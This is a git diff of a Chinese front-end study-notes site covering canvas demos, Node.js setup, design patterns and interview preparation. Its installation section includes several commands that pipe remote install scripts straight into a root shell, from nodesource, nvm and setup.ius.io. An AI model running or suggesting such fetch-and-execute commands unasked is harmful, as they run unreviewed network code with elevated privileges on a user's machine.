const canvasRef3 = useRef() const canvasRef3 = useRef();
// 填充文本 // 填充文本
function demo1() { function demo1() {
// 声明DOM // 声明DOM
let canvas = canvasRef.current let canvas = canvasRef.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
ctx.shadowOffsetY = 8 ctx.shadowOffsetY = 8;
ctx.shadowOffsetX = 8 ctx.shadowOffsetX = 8;
ctx.shadowBlur = 3 ctx.shadowBlur = 3;
ctx.shadowColor = '#ccc' ctx.shadowColor = '#ccc';
ctx.font = '40px serif' ctx.font = '40px serif';
ctx.fillText('1. 你是个智障!', 50, 50) ctx.fillText('1. 你是个智障!', 50, 50);
} }
function demo2() { function demo2() {
let canvas = canvasRef2.current let canvas = canvasRef2.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
ctx.font = '48px serif' ctx.font = '48px serif';
ctx.strokeText('2. hello world', 10, 50) ctx.strokeText('2. hello world', 10, 50);
} }
function demo3() { function demo3() {
let canvas = canvasRef3.current let canvas = canvasRef3.current;
let ctx = canvas.getContext('2d') let ctx = canvas.getContext('2d');
ctx.font = '40px serif' ctx.font = '40px serif';
ctx.textBaseline = 'top' ctx.textBaseline = 'top';
ctx.textAlign = 'start' ctx.textAlign = 'start';
ctx.strokeText('hello world', 0, 100) ctx.strokeText('hello world', 0, 100);
} }
useEffect(() => { useEffect(() => {
demo1() demo1();
demo2() demo2();
demo3() demo3();
}, []) }, []);
return ( return (
<div> <div>
@ -62,16 +63,14 @@ export default () => {
<canvas ref={canvasRef2} width="500" height="200" /> <canvas ref={canvasRef2} width="500" height="200" />
<canvas ref={canvasRef3} width="500" height="200" /> <canvas ref={canvasRef3} width="500" height="200" />
</div> </div>
) );
} };
``` ```
```ts ```ts
window.onload = function () { window.onload = function () {
demo1() demo1();
demo2() demo2();
demo3() demo3();
} };
``` ```

View File

@ -8,7 +8,6 @@ group:
path: /node path: /node
--- ---
# 💊 node # 💊 node
基于 chrome 的 V8 引擎 封装的一个 JavaScript 运行环境,事件驱动、非阻塞 IO 进程模型,它能让 js 代码运行在服务端。 基于 chrome 的 V8 引擎 封装的一个 JavaScript 运行环境,事件驱动、非阻塞 IO 进程模型,它能让 js 代码运行在服务端。
@ -18,11 +17,19 @@ group:
对标产品为基于 rust、Tokio 的 denodestroy nodedeno 具有更高的效率,并且原生就支持 typescript 对标产品为基于 rust、Tokio 的 denodestroy nodedeno 具有更高的效率,并且原生就支持 typescript
## 安装 ## 安装
### 方法 1 ### 方法 1
#### 拉取 nvm #### 拉取 nvm
- wget -qO- [https://raw.githubusercontent.com/creationix/nvm/v0.31.1/install.sh](https://raw.githubusercontent.com/creationix/nvm/v0.31.1/install.sh) | bash <!-- 版本好可以根据需求来变更 14.X 16.X -->
- curl -fsSL https://rpm.nodesource.com/setup_16.x | sudo bash -
- sudo yum install -y nodejs
#### 安装 nvm #### 安装 nvm
```javascript ```javascript
// 打开bash // 打开bash
source ~/.bash_profile source ~/.bash_profile
@ -35,42 +42,42 @@ export PATH=$NODE_HOME/bin:$PATH
- nvm install node版本号or nvm install stable - nvm install node版本号or nvm install stable
- 方案2 - 方案2
- curl --silent --location [https://rpm.nodesource.com/setup_11.x](https://rpm.nodesource.com/setup_11.x)| sudo bash - - curl --silent --location [https://rpm.nodesource.com/setup_11.x](https://rpm.nodesource.com/setup_11.x)| sudo bash -
### 方法 2 ### 方法 2
1. 第一步 1. 第一步
```
```js
wget https://npm.taobao.org/mirrors/node/v12.16.1/node-v12.16.1-linux-x64.tar.gz wget https://npm.taobao.org/mirrors/node/v12.16.1/node-v12.16.1-linux-x64.tar.gz
``` ```
2. 第二步 2. 第二步
``` ```
tar -xvf node-v12.16.1-linux-x64.tar.gz tar -xvf node-v12.16.1-linux-x64.tar.gz
yum install gcc gcc-c++ yum install gcc gcc-c++
``` ```
3. 第三步 3. 第三步
``` ```
mv node-v12.16.1-linux-x64.tar.gz node mv node-v12.16.1-linux-x64.tar.gz node
``` ```
4. 第四步 4. 第四步
``` ```
ln -s /usr/local/bin/node/bin/node /usr/bin/node ln -s /usr/local/bin/node/bin/node /usr/bin/node
ln -s /usr/local/bin/node/bin/npm /usr/bin/npm ln -s /usr/local/bin/node/bin/npm /usr/bin/npm
ln -s /usr/local/bin/node/bin/npx /usr/bin/npx ln -s /usr/local/bin/node/bin/npx /usr/bin/npx
``` ```
### 安装 GIT ### 安装 GIT
- curl [https://setup.ius.io](https://setup.ius.io) | sh - curl [https://setup.ius.io](https://setup.ius.io) | sh
- yum install -y git2u - yum install -y git2u
- git --version - git --version
## cjs、esm、umd 的区别 ## cjs、esm、umd 的区别
首先运行端的区别cjs 和 esm 只能运行在 node 端,而 umd 可以同时运行在 node 和浏览器端 首先运行端的区别cjs 和 esm 只能运行在 node 端,而 umd 可以同时运行在 node 和浏览器端

View File

@ -5,11 +5,12 @@ nav:
group: group:
title: 💊 设计模式 title: 💊 设计模式
order: 1 order: 1
path: /pattern
--- ---
## 关于 ## 关于
学习设计模式,是为了让你的代码减少亢余,能用健壮的代码去解决问题,提升可维护性与拓展性。 学习设计模式,它是一种思维模式,目的是为了让代码减少亢余,能用比较结构化的代码去解决问题,提升可维护性与拓展性。
**想做靠谱开发,先学设计模式** **想做靠谱开发,先学设计模式**

View File

@ -5,6 +5,7 @@ nav:
group: group:
title: 💊 设计模式 title: 💊 设计模式
order: 6 order: 6
path: /pattern
--- ---
## 行为型 ## 行为型

View File

@ -5,6 +5,7 @@ nav:
group: group:
title: 💊 设计模式 title: 💊 设计模式
order: 2 order: 2
path: /pattern
--- ---
## 创建型 ## 创建型

View File

@ -5,6 +5,7 @@ nav:
group: group:
title: 💊 设计模式 title: 💊 设计模式
order: 4 order: 4
path: /pattern
--- ---
## 结构型 ## 结构型
@ -136,20 +137,20 @@ Ajax('get', 'https://nicecoders.github.io', data, function(res){
```jsx ```jsx
import React, { useRef, useState, useEffect } from 'react'; import React, { useRef, useState, useEffect } from 'react';
import '@nicecode/css' import '@nicecode/css';
class Modal { class Modal {
constructor(opt = {}) { constructor(opt = {}) {
const { dom } = opt const { dom } = opt;
this.dom = dom this.dom = dom;
} }
show() { show() {
this.dom.innerHTML = '卧槽'; this.dom.innerHTML = '卧槽';
this.dom.style.display = 'block' this.dom.style.display = 'block';
this.dom.style.width = '200px' this.dom.style.width = '200px';
this.dom.style.textAlign = 'center' this.dom.style.textAlign = 'center';
} }
hide() { hide() {
@ -159,65 +160,81 @@ class Modal {
class DecoratorModal { class DecoratorModal {
constructor(_oldModal) { constructor(_oldModal) {
this._oldModal = _oldModal this._oldModal = _oldModal;
} }
show() { show() {
this._oldModal.show() this._oldModal.show();
this._oldModal.dom.innerHTML = '添加背景+文字减淡+圆角' this._oldModal.dom.innerHTML = '添加背景+文字减淡+圆角';
this._oldModal.dom.style.color = '#aaa' this._oldModal.dom.style.color = '#aaa';
this._oldModal.dom.style.borderRadius = '5px' this._oldModal.dom.style.borderRadius = '5px';
} }
hide() { hide() {
this._oldModal.hide() this._oldModal.hide();
} }
} }
export default () => { export default () => {
const modalRef = useRef(null) const modalRef = useRef(null);
const [modal, setModal] = useState(null) const [modal, setModal] = useState(null);
// 案例:原本有个按钮,新的需求要将按钮样式置灰,并且文案改为 快去登录 // 案例:原本有个按钮,新的需求要将按钮样式置灰,并且文案改为 快去登录
const openModal = () => { const openModal = () => {
modal.show() modal.show();
} };
const hideModal = () => { const hideModal = () => {
modal.hide() modal.hide();
} };
const decoratorModal = () => { const decoratorModal = () => {
let dom = new DecoratorModal(modal) let dom = new DecoratorModal(modal);
setModal(dom) setModal(dom);
} };
const normalModal = () => { const normalModal = () => {
let dom = new Modal({ let dom = new Modal({
dom: modalRef.current dom: modalRef.current,
}) });
setModal(dom) setModal(dom);
} };
useEffect(() => { useEffect(() => {
normalModal() normalModal();
}, []) }, []);
let style = { let style = {
margin: '0 6px', margin: '0 6px',
} };
return ( return (
<div className="decorator"> <div className="decorator">
<button style={style} onClick={openModal} >打开弹框</button> <button style={style} onClick={openModal}>
<button style={style} onClick={hideModal} >关闭弹框</button> 打开弹框
<button style={style} onClick={decoratorModal} >添加适配器</button> </button>
<button style={style} onClick={normalModal} >清除适配器</button> <button style={style} onClick={hideModal}>
<div ref={modalRef} style={{ display: 'none', marginTop: '20px', padding: '10px 20px', border: '1px solid #eee'}} ></div> 关闭弹框
</button>
<button style={style} onClick={decoratorModal}>
添加适配器
</button>
<button style={style} onClick={normalModal}>
清除适配器
</button>
<div
ref={modalRef}
style={{
display: 'none',
marginTop: '20px',
padding: '10px 20px',
border: '1px solid #eee',
}}
></div>
</div> </div>
) );
}; };
``` ```
@ -230,9 +247,9 @@ function funcDecorator(type) {
return function (target, name, descriptor) { return function (target, name, descriptor) {
if (type === 'class') { if (type === 'class') {
target.prototype.show = () => { target.prototype.show = () => {
console.log('装饰器处理后的类') console.log('装饰器处理后的类');
} };
return target return target;
/** /**
* or * or
* return class NButton { * return class NButton {
@ -242,26 +259,27 @@ function funcDecorator(type) {
* } * }
**/ **/
} else if (type === 'function') { } else if (type === 'function') {
const old = descriptor.value const old = descriptor.value;
descriptor.value = function(...arg) { // 注意这里需要保留原this作用域不能使用箭头函数 descriptor.value = function (...arg) {
console.log('----装饰器装饰函数----') // 注意这里需要保留原this作用域不能使用箭头函数
console.log('----装饰器装饰函数----');
// 原函数 // 原函数
return old.apply(this, arg) return old.apply(this, arg);
} };
}
} }
};
} }
// 通过装饰器改变原有的 show 方法 // 通过装饰器改变原有的 show 方法
// @funcDecorator('class') // @funcDecorator('class')
class Button { class Button {
show() { show() {
console.log('大卫的思想空间') console.log('大卫的思想空间');
} }
@funcDecorator('function') @funcDecorator('function')
mb() { mb() {
console.log('我是sb') console.log('我是sb');
} }
} }
@ -271,15 +289,10 @@ export default () => {
// dom.show() // dom.show()
// dom.mb() // dom.mb()
// console.log(dom) // console.log(dom)
}, []) }, []);
return (
<div>
进阶案例:控制台查看输出结果
</div>
)
}
return <div>进阶案例:控制台查看输出结果</div>;
};
``` ```
### 代理模式 ### 代理模式
@ -292,21 +305,21 @@ export default () => {
import React, { useRef, useEffect } from 'react'; import React, { useRef, useEffect } from 'react';
// 普通私密信息 // 普通私密信息
const baseInfo = ['name', 'age', 'career'] const baseInfo = ['name', 'age', 'career'];
// 最私密信息 // 最私密信息
const privateInfo = ['avatar', 'phone'] const privateInfo = ['avatar', 'phone'];
// 规定礼物的数据结构由type和value组成 // 规定礼物的数据结构由type和value组成
const present = { const present = {
type: '巧克力', type: '巧克力',
value: 60, value: 60,
} };
// 相亲男方 // 相亲男方
const user = { const user = {
isValidated: true, isValidated: true,
isVIP: false, isVIP: false,
} };
// 相亲女方 // 相亲女方
const girl = { const girl = {
@ -330,53 +343,48 @@ const girl = {
bottomValue: 50, bottomValue: 50,
// 记录最近一次收到的礼物 // 记录最近一次收到的礼物
lastPresent: present, lastPresent: present,
} };
// 掘金婚介所推出了小礼物功能 // 掘金婚介所推出了小礼物功能
const JuejinLovers = new Proxy(girl, { const JuejinLovers = new Proxy(girl, {
get: function (girl, key) { get: function (girl, key) {
if (baseInfo.indexOf(key) !== -1 && !user.isValidated) {
if((baseInfo.indexOf(key) !== -1) && !user.isValidated) { alert('您还没有完成验证哦');
alert('您还没有完成验证哦') return;
return
} }
// 此处我们认为只有验证过的用户才可以购买VIP // 此处我们认为只有验证过的用户才可以购买VIP
if (user.isValidated && privateInfo.indexOf(key) !== -1 && !user.isVIP) { if (user.isValidated && privateInfo.indexOf(key) !== -1 && !user.isVIP) {
alert('只有VIP才可以查看该信息哦') alert('只有VIP才可以查看该信息哦');
return return;
} }
return girl[key] return girl[key];
}, },
set: function (girl, key, val) { set: function (girl, key, val) {
// 最近一次送来的礼物会尝试赋值给lastPresent字段 // 最近一次送来的礼物会尝试赋值给lastPresent字段
// 需要返回 boolean 判断是否赋值成功 // 需要返回 boolean 判断是否赋值成功
if (key === 'lastPresent') { if (key === 'lastPresent') {
if (val.value < girl.bottomValue) { if (val.value < girl.bottomValue) {
alert('sorry您的礼物被拒收了') alert('sorry您的礼物被拒收了');
return false return false;
} }
// 如果没有拒收则赋值成功同时并入presents数组 // 如果没有拒收则赋值成功同时并入presents数组
girl.lastPresent = val girl.lastPresent = val;
girl.presents = [...girl.presents, val] girl.presents = [...girl.presents, val];
return true return true;
} }
} },
}) });
export default () => { export default () => {
useEffect(() => { useEffect(() => {
console.log(JuejinLovers.name) console.log(JuejinLovers.name);
JuejinLovers.lastPresent = present JuejinLovers.lastPresent = present;
console.log(JuejinLovers) console.log(JuejinLovers);
}, []) }, []);
return ( return <div>hi</div>;
<div>hi</div> };
)
}
``` ```

View File

@ -5,6 +5,7 @@ nav:
group: group:
title: 💊 webGL title: 💊 webGL
order: 100 order: 100
path: /webgl
--- ---
# 常见问题 # 常见问题

View File

@ -5,6 +5,7 @@ nav:
group: group:
title: 💊 webGL title: 💊 webGL
order: 1 order: 1
path: /webgl
--- ---
# 基础 # 基础

View File

@ -5,6 +5,7 @@ nav:
group: group:
title: 💊 webGL title: 💊 webGL
order: 3 order: 3
path: /webgl
--- ---
# threeJS 入门 # threeJS 入门

View File

@ -8,7 +8,7 @@ group:
path: /website path: /website
--- ---
## 💊 学习文档 # 💊 学习文档
### TS 学习 ### TS 学习

View File

@ -0,0 +1,12 @@
---
nav:
title: 面试
path: /interview
group:
title: 💊 面试题库
order: 2
---
# 算法题
参考链接:<https://github.com/trekhleb/javascript-algorithms/blob/master/README.zh-CN.md>

View File

@ -18,19 +18,14 @@ group:
举个例子: 举个例子:
-------------------------------- > 面试官好,我叫 XX18 年毕业于 XXX 大学软件工程,从大四开始就一直从事前端开发的工作
面试官好我叫dev18年毕业于东华理工大学软件工程从大四开始就一直从事前端开发的工作 > 我比较擅长的是 react 全家桶,平时开发的话,打包工具的话对 webpack 比较熟悉,自己有从 0-1 大型项目的经验和能力,包括前端项目的自动构建脚本编写,项目服务器发布,基本的 node 接口服务开发。服务器 Nginx 的配置,负载均衡,域名服务器的配置,和使用 pm2 的去做项目的守护进程管理全链路开发。
> 在上家公司是 XXXX 的项目负责人,主要职责是负责从 0-1 视频编辑器的开发和后期维护,还有及时响应客户需求。在此期间还基于 yapi 搭建了一套接口自动化管理系统,目的是为了高效对接后端接口质量(自动化测试)和解放手动编写接口的工作(通过后端 swagger 文档自动生成包含 ts 注释的接口),其它还负责公司的 UI 组件库的部分开发
> 除了开发相关的工作,还有一定的作为 Owner 的项目管理经验比如需求评审UI\UX 交互评审,负责小组项目排期,成员之间的协作开发,监督成员之间的 codeReview敏捷开发推动项目进度等。
> 另外我有自己的博客,主要是用来记录在工作中的一些心得,和碰到的问题和解决方案。同时去记录一些学到的新的知识,并把它分享到 sf、csdn、juejin 这类的技术平台上。
> 在 github 上....做这件事的原因是,我感觉开源还挺有成就感也挺有趣的
我比较擅长的是 react 全家桶,平时开发的话,打包工具的话对 webpack 比较熟悉自己有从0-1大型项目的经验和能力包括前端项目的自动构建脚本编写项目服务器发布基本的node接口服务开发。服务器Nginx 的配置,负载均衡,域名服务器的配置,和使用 pm2 的去做项目的守护进程管理全链路开发。 > 目前在学习...
在上家公司是人工智能创意中心视频编辑器的项目负责人主要职责是负责从0-1视频编辑器的开发和后期维护还有及时响应客户需求。在此期间还基于 yapi 搭建了一套接口自动化管理系统目的是为了高效对接后端接口质量自动化测试和解放手动编写接口的工作通过后端swagger文档自动生成包含ts注释的接口其它还负责公司的UI组件库的部分开发
除了开发相关的工作还有一定的作为Owner的项目管理经验比如需求评审UI\UX交互评审负责小组项目排期成员之间的协作开发监督成员之间的codeReview敏捷开发推动项目进度等。
另外我有自己的博客主要是用来记录在工作中的一些心得和碰到的问题和解决方案。同时去记录一些学到的新的知识早期也发过一些文章再segmentfault和掘金上。
在 github 上我还成立了一个自己的组织叫nicecode主要是用来沉淀一些这些年工作中整合的一些能提升工作效率的方案比如说脚手架、git提交校验工具、敏感字过滤库常见函数方法、还有开发过一款基于 vscode 的代码片段插件。前前后后写了10几个npm包了做这件事的原因是我感觉开源还挺有成就感也挺有趣的
--------------------------------
## 如何粗略判断公司是否靠谱 ## 如何粗略判断公司是否靠谱
@ -46,6 +41,12 @@ group:
很推荐大家在准备面试的过程中,挖掘出自己擅长的技术内容,然后在面试的过程中,寻找机会引导面试官提问你擅长的技术点。 很推荐大家在准备面试的过程中,挖掘出自己擅长的技术内容,然后在面试的过程中,寻找机会引导面试官提问你擅长的技术点。
## 你最近碰到什么挑战?
**我最近的一个时间在做怎样的一个产品程序这个产品程序的目的是帮助用户完成什么事其中有一个什么模块为了实现什么功能用到了什么技术但是遇到了什么挑战难点bug我通过怎样的手段定位问题所在问题出现的原因是简要的点到技术点的描述我在至少两个资料来源上找到了参考最后基于怎样的决策标准决定采用何种解决方法运用了哪种技术最后成功解决了问题实现了功能结果是这个产品程序对用户系统性能可用性资源等产生了何种正面的影响。下一步我认为我应该研究何种更先进的方式进一步怎样让产品程序做得更好。**
之前将视频编辑器从 1.0 迁移到 2.0,目的是引用 vue3 和抛弃之前的遗留问题,比如说依赖包的杂糅和重,当时在考虑做视频编辑器的架构,是想直接写成个大组件,通过 props 参数来控制编辑器的功能,后面从性能和易用性来考虑,觉得还是将整体插件化更好,所以将整体架构改成可插拔式。在开发的过程中又发现关于数据传递板块如果通过传统的 props 或者是 vuex 的形式传递,使用起来会非常不方便,所以将它改成发布订阅模式来调用,将整体的数据放在一个 protocol 空间中,再通过各个控制面板的调用去触发,反馈到视频渲染层的监听器与其它对应插件的监听器上。最后实际应用中确实使用起来非常丝滑。这个编辑器的整体架构也使性能上提升了很多。
### 常见问题答复 ### 常见问题答复
1. 你什么时候入职? 1. 你什么时候入职?
@ -64,9 +65,10 @@ group:
4. 为什么你觉得可以胜任这份工作? 4. 为什么你觉得可以胜任这份工作?
从三个角度去展开: 从三个角度去展开:
* 工作经历、项目背景与当前岗位的匹配度
* 个人能力模型的匹配度 - 工作经历、项目背景与当前岗位的匹配度
* 突出过往的工作中取得的成绩,竞争力优势 - 个人能力模型的匹配度
- 突出过往的工作中取得的成绩,竞争力优势
5. 你的期望薪资是多少? 5. 你的期望薪资是多少?
@ -92,3 +94,5 @@ group:
## 话术技巧参考 ## 话术技巧参考
<https://juejin.cn/post/7173316141161381924> <https://juejin.cn/post/7173316141161381924>
<https://juejin.cn/post/6844903869382656008>
<https://vue3js.cn/interview/>

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 MiB

View File

@ -38,7 +38,6 @@ group:
### 数组方法 pop() push() unshift() shift() ### 数组方法 pop() push() unshift() shift()
- push() 尾部添加 pop() 尾部删除 - push() 尾部添加 pop() 尾部删除
- unshift() 头部添加 shift() 头部删除 - unshift() 头部添加 shift() 头部删除
@ -51,16 +50,21 @@ get: 1. 参数在链接上。2、url链接长度有限制所以大小有限
``` ```
### call 和 apply 的区别 ### bind、call 和 apply 的区别
call可以允许多个参数入参而apply只允许一个参数 共同点:都是为了改变 this 的指向而存在
- object.call(this, obj1,obj2,obj3) 不同点:
- object.apply(this, argument)
- call 可以接受多个参数object.call(this, obj1,obj2,obj3)
- bind 可以接受多个参数object.bind(this, obj1,obj2,obj3)
- apply 接受两个参数,一个是指向的对象,一个是需要传递的参数 object.apply(this, ${Array})
- call 和 apply 改变上下文 this 指向后,立刻执行该函数,而 bind 不执行
使用场景:如果参数数量不确定就用 apply确定就用 call.
### ajax 请求时,如何解析 json 数据 ### ajax 请求时,如何解析 json 数据
- 使用 eval parse介于安全性考虑 使用 parse 更靠谱 - 使用 eval parse介于安全性考虑 使用 parse 更靠谱
- eval 可以解析任何字符串parse 只解析 json 格式的字符串 - eval 可以解析任何字符串parse 只解析 json 格式的字符串
@ -71,48 +75,44 @@ call可以允许多个参数入参而apply只允许一个参数
- obj.replaceChild() - obj.replaceChild()
- obj.removeChild() - obj.removeChild()
### javascript 同源策略 ### javascript 同源策略
- 一段脚本只能读取来自同一来源的穿考核文档的属性,同源:指主机名,协议和端口号的组合 - 一段脚本只能读取来自同一来源的穿考核文档的属性,同源:指主机名,协议和端口号的组合
### 编写一个 b 继承 a 的方法 ### 编写一个 b 继承 a 的方法
```javascript ```javascript
function A(name) { function A(name) {
this.name = name; this.name = name;
this.sayHello = function () { this.sayHello = function () {
alert(this.name+ "say hello!") alert(this.name + 'say hello!');
} };
} }
function B(name, id) { function B(name, id) {
this.temp = A this.temp = A;
this.temp(name) this.temp(name);
delete this.temp delete this.temp;
this.id = id this.id = id;
this.checkId = function(ID) {alert(this.id == ID)} this.checkId = function (ID) {
alert(this.id == ID);
};
} }
``` ```
### 如何阻止事件冒泡和默认事件 ### 如何阻止事件冒泡和默认事件
```javascript ```javascript
function stopBubble(e) { function stopBubble(e) {
if (e && e.stopPropagation) { if (e && e.stopPropagation) {
e.stopPropgation () e.stopPropgation();
} else { } else {
window.event.cancelBubble = true window.event.cancelBubble = true;
} }
return false return false;
} }
``` ```
### 谈谈 this 对象的理解 ### 谈谈 this 对象的理解
- this 只在调用的时候发生指向确认它指向什么取决于在什么地方调用。this 指向的就是调用函数的那个对象。 - this 只在调用的时候发生指向确认它指向什么取决于在什么地方调用。this 指向的就是调用函数的那个对象。
@ -124,12 +124,12 @@ function stopBubble(e) {
```js ```js
class Test { class Test {
constructor() { constructor() {
console.log(this) console.log(this);
} }
} }
export default () => { export default () => {
let demo = new Test() let demo = new Test();
} };
``` ```
### `location.replace()`与`location.assign()`区别 ### `location.replace()`与`location.assign()`区别
@ -138,78 +138,41 @@ export default () => {
location.replace() 的 url 不会出现在 history 中 location.replace() 的 url 不会出现在 history 中
``` ```
### DOM 操作 ### DOM 操作
```html ```html
// 创建节点 // 创建节点 createDocumentFragment() createElement() createTextNode() // 添加
createDocumentFragment() 移除 替换 插入 appendChild() removeChild() replaceChild() insertBefore() // 查找
createElement() getElementsByTagName() getElementsByName() getElementsByClassName()
createTextNode() getElementById() querySelector() querySelectorAll()
// 添加 移除 替换 插入
appendChild()
removeChild()
replaceChild()
insertBefore()
// 查找
getElementsByTagName()
getElementsByName()
getElementsByClassName()
getElementById()
querySelector()
querySelectorAll()
``` ```
### JS 设置 css 样式的几种方式 ### JS 设置 css 样式的几种方式
```html ```html
/* 1.直接设置style属性 */ /* 1.直接设置style属性 */ element.style.height = '100px'; /* 2.直接设置属性 */
element.style.height = '100px'; element.setAttribute('height', '100px'); /* 3.使用setAttribute设置style属性 */
element.setAttribute('style', 'height: 100px !important'); /*
/* 2.直接设置属性 */ 4.使用setProperty设置属性通过第三个参数设置important */
element.setAttribute('height', '100px'); element.style.setProperty('height', '300px', 'important'); /* 5.设置cssText */
/* 3.使用setAttribute设置style属性 */
element.setAttribute('style', 'height: 100px !important');
/* 4.使用setProperty设置属性通过第三个参数设置important */
element.style.setProperty('height', '300px', 'important');
/* 5.设置cssText */
element.style.cssText += 'height: 100px !important'; element.style.cssText += 'height: 100px !important';
``` ```
### 阻止默认行为 ### 阻止默认行为
```html ```html
function stopDefault( e ) { function stopDefault( e ) { // 阻止默认浏览器动作(W3C) if ( e &&
// 阻止默认浏览器动作(W3C) e.preventDefault ) { e.preventDefault(); } else { //
if ( e && e.preventDefault ) { IE中阻止函数器默认动作的方式 window.event.returnValue = false; } return false; }
e.preventDefault();
} else {
// IE中阻止函数器默认动作的方式
window.event.returnValue = false;
}
return false;
}
``` ```
### 阻止冒泡 ### 阻止冒泡
```html ```html
function stopBubble(e) { function stopBubble(e) { // 如果提供了事件对象则这是一个非IE浏览器 if ( e &&
// 如果提供了事件对象则这是一个非IE浏览器 e.stopPropagation ) { // 因此它支持W3C的stopPropagation()方法
if ( e && e.stopPropagation ) { e.stopPropagation(); } else { // 否则我们需要使用IE的方式来取消事件冒泡
// 因此它支持W3C的stopPropagation()方法 window.event.cancelBubble = true; } }
e.stopPropagation();
} else {
// 否则我们需要使用IE的方式来取消事件冒泡
window.event.cancelBubble = true;
}
}
``` ```
### Ajax 交互过程 ### Ajax 交互过程
@ -217,9 +180,7 @@ function stopBubble(e) {
```html ```html
创建XMLHttpRequest对象,也就是创建一个异步调用对象. 创建XMLHttpRequest对象,也就是创建一个异步调用对象.
创建一个新的HTTP请求,并指定该HTTP请求的方法、URL及验证信息. 创建一个新的HTTP请求,并指定该HTTP请求的方法、URL及验证信息.
设置响应HTTP请求状态变化的函数. 设置响应HTTP请求状态变化的函数. 发送HTTP请求. 获取异步调用返回的数据.
发送HTTP请求.
获取异步调用返回的数据.
使用JavaScript和DOM实现局部刷新. 使用JavaScript和DOM实现局部刷新.
``` ```
@ -228,24 +189,11 @@ function stopBubble(e) {
[https://www.cnblogs.com/xxcanghai/p/5189353.html](https://www.cnblogs.com/xxcanghai/p/5189353.html) [https://www.cnblogs.com/xxcanghai/p/5189353.html](https://www.cnblogs.com/xxcanghai/p/5189353.html)
```html ```html
function Foo() { function Foo() { getName = function () { alert(1); } return this; } Foo.getName
getName = function () { alert(1); } = function () { alert(2); } Foo.prototype.getName = function () { alert(3); }
return this; var getName = function () { alert(4); } function getName () { alert(5); } /*
} 写出输出 */ Foo.getName(); 3 getName(); 5 Foo().getName(); 3 getName(); new
Foo.getName = function () { alert(2); } Foo.getName(); new Foo().getName(); new new Foo().getName();
Foo.prototype.getName = function () { alert(3); }
var getName = function () { alert(4); }
function getName () { alert(5); }
/* 写出输出 */
Foo.getName(); 3
getName(); 5
Foo().getName(); 3
getName();
new Foo.getName();
new Foo().getName();
new new Foo().getName();
``` ```
### splice 和 slice 你能说说有啥用和区别吗 ### splice 和 slice 你能说说有啥用和区别吗
@ -258,8 +206,8 @@ new new Foo().getName();
1. 类数组不具备数组的方法slice、splice、filter 1. 类数组不具备数组的方法slice、splice、filter
2. 类数组是一个普通对象,数组类型是 Array 2. 类数组是一个普通对象,数组类型是 Array
### JS 数组深浅拷贝 ### JS 数组深浅拷贝
#### 浅拷贝 #### 浅拷贝
把一个对象的第一层拷贝到新的对象上去,只拷贝基本数据类型 把一个对象的第一层拷贝到新的对象上去,只拷贝基本数据类型
@ -272,8 +220,8 @@ var new_arr = arr.slice();
new_arr[0] = 'new'; new_arr[0] = 'new';
console.log(arr) // ["old", 1, true, null, undefined] console.log(arr); // ["old", 1, true, null, undefined]
console.log(new_arr) // ["new", 1, true, null, undefined] console.log(new_arr); // ["new", 1, true, null, undefined]
// concat 实现 // concat 实现
var arr = ['old', 1, true, null, undefined]; var arr = ['old', 1, true, null, undefined];
@ -282,8 +230,8 @@ var new_arr = arr.concat();
new_arr[0] = 'new'; new_arr[0] = 'new';
console.log(arr) // ["old", 1, true, null, undefined] console.log(arr); // ["old", 1, true, null, undefined]
console.log(new_arr) // ["new", 1, true, null, undefined] console.log(new_arr); // ["new", 1, true, null, undefined]
``` ```
#### 深拷贝 #### 深拷贝
@ -299,22 +247,23 @@ var new_arr = JSON.parse(JSON.stringify(arr));
new_arr[0] = 'new'; new_arr[0] = 'new';
new_arr[3][0] = 'new1'; new_arr[3][0] = 'new1';
console.log(arr) // ["old", 1, true, ['old1', 'old2'], {old: 1}] console.log(arr); // ["old", 1, true, ['old1', 'old2'], {old: 1}]
console.log(new_arr) // ["new", 1, true, ['new1', 'old2'], {old: 1}] console.log(new_arr); // ["new", 1, true, ['new1', 'old2'], {old: 1}]
// 复杂版,可以完美拷贝 // 复杂版,可以完美拷贝
var deepCopy = function (obj) { var deepCopy = function (obj) {
if (typeof obj !== 'object') { if (typeof obj !== 'object') {
return return;
} }
var newObj = obj instanceof Array ? [] : {}; var newObj = obj instanceof Array ? [] : {};
for (var key in obj) { for (var key in obj) {
if (obj.hasOwnProperty(key)) { if (obj.hasOwnProperty(key)) {
newObj[key] = typeof obj[key] === 'object' ? deepCopy(obj[key]) : obj[key]; newObj[key] =
typeof obj[key] === 'object' ? deepCopy(obj[key]) : obj[key];
} }
} }
return newObj return newObj;
} };
``` ```
### 数组去重 ### 数组去重
@ -324,15 +273,18 @@ var deepCopy = function (obj) {
function unique(arr) { function unique(arr) {
var res = arr.filter(function (item, index, array) { var res = arr.filter(function (item, index, array) {
return array.indexOf(item) === index; return array.indexOf(item) === index;
}) });
return res; return res;
} }
//filter + sort //filter + sort
function unique(arr) { function unique(arr) {
return arr.concat().sort().filter(function (item, index, array) { return arr
.concat()
.sort()
.filter(function (item, index, array) {
return !index || item !== array[index - 1]; return !index || item !== array[index - 1];
}) });
} }
// ES6 // ES6
@ -340,14 +292,17 @@ function uniqu3 (arr) {
return [...new Set(arr)]; return [...new Set(arr)];
} }
``` ```
### ###
### 找出数组中的最大值 ### 找出数组中的最大值
```javascript ```javascript
// reduce // reduce
var arr = [6, 4, 1, 8, 2, 11, 3]; var arr = [6, 4, 1, 8, 2, 11, 3];
function max(prev, next) { function max(prev, next) {
return Math.max(prev, next) return Math.max(prev, next);
} }
console.log(arr.reduce(max)); console.log(arr.reduce(max));
@ -367,47 +322,53 @@ function max (arr) {
console.log(max(arr)); console.log(max(arr));
``` ```
### 数组扁平化 ### 数组扁平化
```javascript ```javascript
var arr = [1, [2, [3, 4]]]; var arr = [1, [2, [3, 4]]];
function flatten(arr) { function flatten(arr) {
while (arr.some((item) => Array.isArray(item))) {
while (arr.some(item => Array.isArray(item))) {
arr = [].concat(...arr); arr = [].concat(...arr);
} }
return arr; return arr;
} }
console.log(flatten(arr)) console.log(flatten(arr));
``` ```
### 数据的基本类型 ### 数据的基本类型
```javascript ```javascript
1. symbol 2. string 3. number 4. null 5. boolean 6. undefind 1. symbol 2. string 3. number 4. null 5. boolean 6. undefind
``` ```
### 数据类型判断 ### 数据类型判断
> 关键语句Object.prototype.toString.call(value) => [object ${Boolean Number String Function Array Date RegExp Object Error Null }] > 关键语句Object.prototype.toString.call(value) => [object ${Boolean Number String Function Array Date RegExp Object Error Null }]
